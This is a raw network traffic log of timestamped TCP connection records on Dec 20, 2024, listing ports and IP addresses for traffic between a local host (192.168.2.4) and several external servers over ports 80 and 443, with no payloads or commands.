Dec 20, 2024 07:12:45.777801037 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.778739929 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.778856993 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.778948069 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.779762983 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.779856920 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.779898882 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.780800104 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.780894041 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.780936003 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.781795025 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.781927109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.781968117 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.782814026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.782938004 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.782985926 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.783850908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.783904076 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.783952951 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.784881115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.785012007 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.785060883 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.785892010 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.785926104 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.785972118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.786906958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.787010908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.787059069 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.787924051 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.788059950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.788122892 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.788930893 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.789051056 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.789093971 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.789964914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.790071964 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.790117025 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.790983915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.791106939 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.791157961 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.792012930 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.792164087 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.792207956 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.793011904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.793132067 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.793174982 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.794028044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.794173002 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.794214010 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.795061111 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.795198917 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.795244932 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.796082020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.796161890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.796209097 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.797120094 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.797226906 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.797275066 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.798139095 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.798191071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.798228979 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.799134970 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.799253941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.799437046 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.800157070 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.800328016 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.800371885 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.801176071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.801299095 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.801342964 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.802035093 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.802078009 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.802119970 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.802160025 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.802231073 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.802264929 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.802306890 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.803241014 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.803360939 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.803406000 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.803782940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.803829908 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.804255009 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.804416895 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.804481030 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.804558992 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.804605961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.804676056 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.804723024 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.805263996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.805378914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.805428028 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.806303024 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.806479931 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.806528091 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.807301044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.807369947 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.807416916 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.808072090 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.808120966 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.808196068 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.808234930 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.808290005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.808444023 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.808490992 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.809361935 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.809508085 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.809551954 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.810369015 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.810513020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.810556889 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.811366081 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.811465979 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.811506033 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.811650038 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.811692953 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.811749935 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.811786890 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.812386036 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.812486887 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.812546968 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.813400030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.813575029 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.813627958 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.814426899 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.814542055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.814584017 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.815166950 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.815211058 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.815234900 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.815289974 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.815455914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.815560102 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.815603971 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.816459894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.816590071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.816754103 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.817513943 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.817570925 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.817616940 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.818487883 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.818679094 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.818725109 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.818764925 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.818810940 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.822097063 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.822148085 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.822171926 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.822216034 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.822802067 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:45.822890997 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:45.824126959 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:45.824134111 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:45.825139046 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:45.825387955 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.825433016 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.825488091 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.825530052 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.826441050 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:45.826539993 CET	49868	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:45.826606989 CET	443	49868	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:45.828605890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.828655005 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.828654051 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.828690052 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.831831932 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.831872940 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.831922054 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.831963062 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.834968090 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.835016012 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.835041046 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.835078955 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.838025093 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.838066101 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.838196039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.838241100 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.841065884 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.841113091 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.841187954 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.841289997 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.844096899 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.844151974 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.844209909 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.844253063 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.847101927 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.847151041 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.847239971 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.847284079 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.850150108 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.850193977 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.850296021 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.850338936 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.853204966 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.853255987 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.853303909 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.853348017 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.856218100 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.856267929 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.856291056 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.856337070 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.859205008 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.859255075 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.859360933 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.859406948 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.862221956 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.862272978 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.862335920 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.862392902 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.865259886 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.865309954 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.865377903 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.865426064 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.868274927 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.868326902 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.868396997 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.868442059 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.869086027 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.871304035 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.871360064 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.871417999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.871467113 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.874347925 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.874397039 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.874455929 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.874500036 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.877357006 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.877405882 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.877432108 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.877475023 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.880372047 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.880423069 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.880496025 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.880548954 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.883385897 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.883438110 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.883459091 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.883503914 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.886413097 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.886457920 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.886465073 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.886507988 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.889460087 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.889513016 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.889578104 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.889627934 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.892457962 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.892518997 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.892568111 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.892607927 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.895486116 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.895539999 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.895622969 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.895668983 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.898515940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.898562908 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.898633957 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.898684025 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.901568890 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.901652098 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.901675940 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.901726007 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.904591084 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.904645920 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.904731989 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.904779911 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.907605886 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.907655954 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.907726049 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.907772064 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.910578966 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.910629034 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.957696915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.957824945 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.957870007 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.958146095 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.958239079 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.958291054 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.959161997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.959275961 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.959320068 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.960159063 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.960283995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.960324049 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.961225986 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.961381912 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.961431980 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.962215900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.962357998 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.962404966 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.963236094 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.963371992 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.963414907 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.964258909 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.964366913 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.964405060 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.965275049 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.965394020 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.965435028 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.966296911 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.966383934 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.966423988 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.967303991 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.967430115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.967474937 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.968364954 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.968463898 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.968512058 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.969357967 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.969485044 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.969532013 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.970382929 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.970494986 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.970541000 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.971389055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.971514940 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.971556902 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.972426891 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.972533941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.972577095 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.973452091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.973592997 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.973638058 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.974450111 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.974576950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.974620104 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.975506067 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.975645065 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.975688934 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.976511955 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.976624966 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.976671934 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.977536917 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.977660894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.977708101 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.978538036 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.978662014 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.978704929 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.979553938 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.979681969 CET	80	49862	147.45.113.159	192.168.2.4
